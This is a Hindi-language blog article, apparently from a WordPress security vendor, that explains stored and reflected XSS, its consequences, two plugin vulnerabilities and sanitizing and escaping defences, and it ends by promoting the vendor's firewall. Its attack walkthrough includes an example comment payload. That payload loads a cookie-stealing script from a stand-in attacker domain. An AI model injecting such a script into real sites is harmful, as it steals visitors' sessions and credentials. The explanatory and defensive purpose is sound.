क्रॉस-साइट स्क्रिप्टिंग, जिसे संक्षेप में XSS के रूप में भी जाना जाता है, वेब अनुप्रयोगों में पाई जाने वाली एक सुरक्षा भेद्यता है। वर्डप्रेस XSS एक्सप्लॉइट हमलावरों को एक विश्वसनीय इकाई की आड़ में दुर्भावनापूर्ण सामग्री इंजेक्ट करने की अनुमति देता है। इसके अलावा, एक XSS भेद्यता उपयोगकर्ता-वेबसाइट इंटरैक्शन से भी समझौता करती है। यह हमलावरों को वैध उपयोगकर्ताओं के रूप में प्रस्तुत करने और दुर्भावनापूर्ण सामग्री अपलोड करने, उपयोगकर्ता क्रेडेंशियल्स और जानकारी चुराने, आपकी वेबसाइट को विकृत करने और आपके ब्रांड को धूमिल करने की अनुमति देता है। वर्डप्रेस XSS एक्सप्लॉइट हाल ही में तब खबरों में आया जब सॉफ्टवेयर विश्लेषण में विशेषज्ञता वाली एक कंपनी ने वर्डप्रेस v5.11 और उससे नीचे में पाई गई क्रॉस-साइट स्क्रिप्टिंग भेद्यता का विवरण जारी किया।

वर्डप्रेस XSS हमले के लक्षण

XSS भेद्यताएं सबसे अधिक देखी जाने वाली भेद्यताओं में से एक हैं, फिर भी वे सबसे अधिक अनदेखी की जाती हैं। XSS एक साइबर दोष है जो उपयोगकर्ताओं (या उपयोगकर्ताओं के रूप में प्रस्तुत हैकर्स) को मनमाने इनपुट की अनुमति देकर एक कमजोर पेज में दुर्भावनापूर्ण कोड इंजेक्ट करने की अनुमति देता है। XSS एक्सप्लॉइट्स को स्टोर्ड और रिफ्लेक्टेड में वर्गीकृत किया जाता है।

1. स्टोर्ड क्रॉस-साइट स्क्रिप्टिंग का अर्थ है कि हैकर ने एक कमजोर पेज में एक दुर्भावनापूर्ण स्क्रिप्ट इंजेक्ट की है, जो हर बार एक अनजान पीड़ित द्वारा संक्रमित पेज पर जाने पर चलती है।
2. रिफ्लेक्टेड क्रॉस-साइट स्क्रिप्टिंग तब होती है जब एक हमलावर एक HTTP अनुरोध के अंदर दुर्भावनापूर्ण कोड इंजेक्ट करता है और इंजेक्टेड पेलोड को बिना किसी सुरक्षा उपाय के प्रतिक्रिया में शामिल किया जाता है जो इसके निष्पादन को रोक सके। रिफ्लेक्टेड XSS को अलग बनाता है कि इंजेक्टेड पेलोड वेब एप्लिकेशन पर कहीं भी संग्रहीत नहीं होता है।

यहां बताया गया है कि XSS हमला कैसे किया जाता है:

1. हैकर (H) आपकी वेबसाइट पर एक अकाउंट बनाता है।
2. H देखता है कि आपकी वेबसाइट में एक स्टोर्ड XSS भेद्यता है। यदि कोई HTML टैग वाली टिप्पणी पोस्ट करता है, तो टैग वैसे ही प्रदर्शित होंगे, और कोई भी स्क्रिप्ट टैग चल जाएगा।
3. एक लेख के टिप्पणी अनुभाग में, H स्क्रिप्ट टैग के साथ टेक्स्ट डालता है जैसे: I am in love with your website <script src="https://mallorysevilsite.com/authstealer.js">
4. जब कोई उपयोगकर्ता (U) टिप्पणी वाले पेज को लोड करता है, तो स्क्रिप्ट टैग चलता है और U के प्राधिकरण कुकी को चुरा लेता है
5. चुराई गई कुकी H के गुप्त सर्वर पर भेज दी जाती है जिससे वह अनजाने उपयोगकर्ता U का प्रतिरूपण करने में सक्षम हो जाता है।

वर्डप्रेस XSS हमले के परिणाम

XSS एक्सप्लॉइट आपको अपनी वेबसाइट से लॉक आउट कर सकते हैं। इसका उपयोग आपका प्रतिरूपण करने और आपके ब्रांड की छवि को धूमिल करने के लिए भी किया जा सकता है। हैकर्स XSS भेद्यता का शोषण करके क्या करने में सक्षम हैं, इसकी एक अंतहीन सूची है। यहां उनमें से कुछ हैं।

चुराई गई कुकीज़

कुकी चोरी XSS भेद्यता का एक सामान्य शोषण है। कुकीज़ छोटी फ़ाइलें हैं जो उपयोगकर्ता और वेबसाइट के लिए विशिष्ट डेटा रखती हैं। हैकर्स चुराई गई कुकीज़ का उपयोग एक वैध उपयोगकर्ता के रूप में प्रतिरूपण करने और दुर्भावनापूर्ण इरादे के लिए एक्सेस का उपयोग करने के लिए कर सकते हैं।

समझौता किए गए पासवर्ड

पासवर्ड मैनेजर उपयोगकर्ताओं के लिए विभिन्न वेबसाइटों के अकाउंट्स को प्रबंधित करना सुविधाजनक बनाते हैं। पासवर्ड मैनेजर उपयोगकर्ताओं के लिए पासवर्ड ऑटो-फिल करते हैं। हैकर्स भेद्यता का उपयोग पासवर्ड इनपुट बनाने के लिए कर सकते हैं। जब पासवर्ड मैनेजर पासवर्ड ऑटो-फिल करता है तो हैकर पासवर्ड पढ़ता है और इसे अपने डोमेन पर भेजता है। अब, हैकर एक वैध उपयोगकर्ता के रूप में प्रस्तुत हो सकता है और आपकी वेबसाइट पर जानकारी तक पहुंच प्राप्त कर सकता है।

पोर्ट स्कैन

XSS का शोषण किसी भी व्यक्ति के स्थानीय नेटवर्क पर पोर्ट स्कैन चलाने के लिए भी किया जा सकता है जो कमजोर वेबसाइट पर जाता है। यदि नेटवर्क तक पहुंच प्राप्त हो जाती है, तो हमलावर नेटवर्क पर अन्य उपकरणों को हैक कर सकता है। ऐसे हमलों को निष्पादित करने के लिए हमलावर आंतरिक नेटवर्क को स्कैन करने और हमलावर को रिपोर्ट करने वाला कोड इंजेक्ट करते हैं।

क्रॉस-साइट रिक्वेस्ट फोर्जरी

क्रॉस-साइट रिक्वेस्ट फोर्जरी (CSRF) हमलावरों को अंतिम उपयोगकर्ताओं को अवांछित कार्य करने के लिए मजबूर करने की क्षमता प्रदान करती है। वेबसाइट के प्रकार के आधार पर हमलावर कनेक्शन का अनुरोध कर सकता है, संदेश भेज सकता है, लॉग-इन क्रेडेंशियल्स बदल सकता है, क्रिप्टोकरेंसी ट्रांसफर कर सकता है या सोर्स कोड रिपॉजिटरी में बैकडोर कमिट कर सकता है।

कीलॉगर

जावास्क्रिप्ट का उपयोग कीबोर्ड कैप्चरिंग करने के लिए किया जा सकता है। जावास्क्रिप्ट कोडर्स को एक कमजोर पेज पर उपयोगकर्ता द्वारा किए गए कीस्ट्रोक्स को लॉग करने की क्षमता प्रदान करता है। कुछ वाणिज्यिक वेब साइटों ने कुछ कोड उपलब्ध कराए हैं जिनका उपयोग क्लिक, मोबाइल जेस्चर या इनपुट के रूप में विज़िटर मूवमेंट को लॉग करने के लिए किया जा सकता है। ये दुर्भावनापूर्ण प्राणियों के हाथों में विनाशकारी साबित हो सकते हैं।

वर्डप्रेस XSS हमले के उदाहरण

XSS सबसे आम भेद्यता है जो हर साल हजारों वेबसाइटों में दुर्भावनापूर्ण अभिनेताओं को बैकडोर एंट्री प्रदान करती है। ये वर्डप्रेस XSS एक्सप्लॉइट के कुछ हालिया उदाहरण हैं।

Slimstat प्लगइन एक्सप्लॉइट (मई 2019)

Slimstat एक लोकप्रिय वेब एनालिटिक्स प्लगइन है जिसे हाल ही में स्टोर्ड XSS भेद्यता के लिए कमजोर पाया गया था। Slimstat का उपयोग वेबसाइट एनालिटिक्स को रीयल-टाइम में ट्रैक करने के लिए किया जाता है, यह एक्सेस लॉग्स, लौटने वाले ग्राहकों और पंजीकृत उपयोगकर्ताओं, जावास्क्रिप्ट इवेंट्स आदि के आंकड़ों की निगरानी और रिपोर्ट करता है। कल्पना करें कि भेद्यता का शोषण करके हैकर कितनी वेबसाइट डेटा तक पहुंच सकता है। भेद्यता संस्करण 4.8 और उससे नीचे में मौजूद थी। इसने किसी भी अनधिकृत विज़िटर को प्लगइन एक्सेस लॉग कार्यक्षमता पर मनमाना जावास्क्रिप्ट कोड इंजेक्ट करने की अनुमति दी। वे वेबसाइटें जो वर्डप्रेस के नवीनतम संस्करण का उपयोग कर रही थीं और एस्ट्रा WAF की सुरक्षा में थीं, हमलावरों से सुरक्षित थीं। अधिक पढ़ें: लोकप्रिय प्लगइन Slimstat, XSS के लिए कमजोर

Facebook Messenger Live Chat

Zotabox द्वारा FB मैसेंजर लाइव चैट में एक स्थायी XSS भेद्यता उजागर हुई थी। वर्डप्रेस के माध्यम से, AJAX कार्यक्षमता पेज को रीलोड किए बिना स्क्रिप्ट से डेटा भेजना और प्राप्त करना सरल बनाती है। फ़ंक्शन update_zb_fbc_code किसी के लिए भी सुलभ है। फ़ंक्शन wp_ajax_update_zb_fbc_code केवल अधिकृत उपयोगकर्ताओं के लिए निर्धारित है & wp_ajax_nopriv_update_zb_fbc_code गैर-विशेषाधिकार प्राप्त उपयोगकर्ताओं के लिए है। दोनों समान फ़ंक्शन "update_zb_fbc_code" का उपयोग करते हैं। यह किसी भी उपयोगकर्ता (लॉग इन या नहीं) को प्लगइन सेटिंग्स को संशोधित करने की अनुमति देता है। दुर्भावनापूर्ण अभिनेता इस भेद्यता का उपयोग गोपनीय जानकारी तक उच्च प्राथमिकता पहुंच प्राप्त करने के लिए कर सकते हैं। अधिक पढ़ें: Facebook Messenger Live Chat में महत्वपूर्ण XSS भेद्यता

वर्डप्रेस में XSS हमले की रोकथाम

आज के साइबर-युग में सुरक्षा को हल्के में लेना आपको बहुत महंगा पड़ेगा। एक मजबूत सैनिटाइज़िंग और मान्य करने वाली प्रणाली आपकी वेबसाइट को XSS और CSRF आदि जैसे कारनामों के शोषण से बचा सकती है। इसके बारे में अधिक जानने के लिए पढ़ें।

वर्डप्रेस फ़ाइलें अपडेट करें

WP v5.11 और उससे नीचे से संबंधित भेद्यता मुद्दों को हल करने का सबसे तेज़ और आसान तरीका वर्डप्रेस को नवीनतम संस्करण में अपडेट करना है।

इनपुट मान्य करें

सर्वर पर भेजने से पहले सभी इनपुट डेटा की जांच और मान्य करें। केवल मान्य, विश्वसनीय उपयोगकर्ताओं से इनपुट स्वीकार करें। उदाहरण के लिए: उपयोगकर्ता द्वारा इनपुट किए गए ईमेल-आईडी को मान्य करने के लिए निम्न फ़ंक्शन का पालन करें।

1. Filter_var PHP फ़ंक्शन
2. Filter_var($_GET['email'], FILTER_VALIDATE_EMAIL)
3. is_email

डेटा सैनिटाइज़ करें

उपयोगकर्ता द्वारा इनपुट किए गए डेटा को सैनिटाइज़ करना उन साइटों पर अत्यधिक अनुशंसित है जो HTML मार्कअप की अनुमति देती हैं। आप यह सुनिश्चित कर सकते हैं कि डेटा आपके उपयोगकर्ताओं या आपके डेटाबेस को कोई नुकसान नहीं पहुंचाता है, संभावित रूप से हानिकारक मार्कअप के डेटा को साफ करके। वर्डप्रेस में अविश्वसनीय डेटा एंट्री को फ़िल्टर करने के लिए बेहतरीन विशेषताएं हैं। यहां WP कमांड की एक सूची है जिसका उपयोग आप अपने डेटा को सैनिटाइज़ करने के लिए कर सकते हैं।

• sanitize_email
• sanitize_file_name
• sanitize_text_field
• esc_url_raw
• sanitize_option
• sanitize_key
• sanitize_mime_type
• wp_kses
• Sanitize_meta

डेटा एस्केप करें

डेटा एस्केप करने का अर्थ है डेटा सुरक्षा सुनिश्चित करना, दर्ज किए गए डेटा को सेंसर करके। यह सुनिश्चित करता है कि डेटा में प्रमुख वर्ण दुर्भावनापूर्ण तरीके से गलत व्याख्या नहीं किए गए हैं। वर्डप्रेस द्वारा प्रदान किए गए पांच बुनियादी एस्केपिंग फ़ंक्शन हैं:

• esc_html
• esc_url
• esc_js
• esc_attr
• esc_textarea

आउटपुट पर डेटा एन्कोड करें

उपयोगकर्ता द्वारा दर्ज किए गए डेटा को आउटपुट करने वाले सभी HTTP प्रतिक्रिया को एन्कोड करें। यह इसे सक्रिय सामग्री के रूप में व्याख्या किए जाने से रोकेगा। एन्कोडिंग केवल प्रत्येक वर्ण को उसके HTML इकाई नाम में परिवर्तित करना है। आप यह सुनिश्चित करने के लिए Content-Type और X-Content-Type-Options हेडर्स का उपयोग कर सकते हैं कि ब्राउज़र प्रतिक्रियाओं की व्याख्या इच्छित तरीके से करें।

वेब एप्लिकेशन फ़ायरवॉल का उपयोग करें

आपकी वेबसाइट पर हमेशा एक सुरक्षा गार्ड होने से मदद मिलती है। WAF या वेब एप्लिकेशन फ़ायरवॉल संभावित कमजोरियों के खिलाफ सुरक्षा प्रदान करते हैं। एस्ट्रा WAF दुर्भावनापूर्ण ट्रैफ़िक को फ़िल्टर करता है और आपकी वेबसाइट को बुद्धिमान सुरक्षा प्रदान करता है। यह XSS, SQLi, CSRF, खराब बॉट्स, OWASP शीर्ष 10 और 100+ अन्य साइबर हमलों को ब्लॉक करता है। हमारा बुद्धिमान फ़ायरवॉल आपकी वेबसाइट पर विज़िटर पैटर्न का पता लगाता है और दुर्भावनापूर्ण इरादे वाले हैकर्स को स्वचालित रूप से ब्लॉक करता है।

नियमित मैलवेयर स्कैनिंग

नियमित मैलवेयर स्कैनिंग आपको पहले से ही चेतावनी देती है। एस्ट्रा वर्डप्रेस सुरक्षा सूट अपने ऑन-डिमांड मैलवेयर स्कैनर के साथ पूर्ण सुरक्षा प्रदान करता है जो केवल एक क्लिक पर दुर्भावनापूर्ण फ़ाइलों को फ़्लैग करता है। साथ ही हमारा बुद्धिमान मैलवेयर स्कैनर प्रत्येक स्कैन के साथ विकसित होता रहता है। अभी एस्ट्रा डेमो प्राप्त करने के लिए यहां क्लिक करें।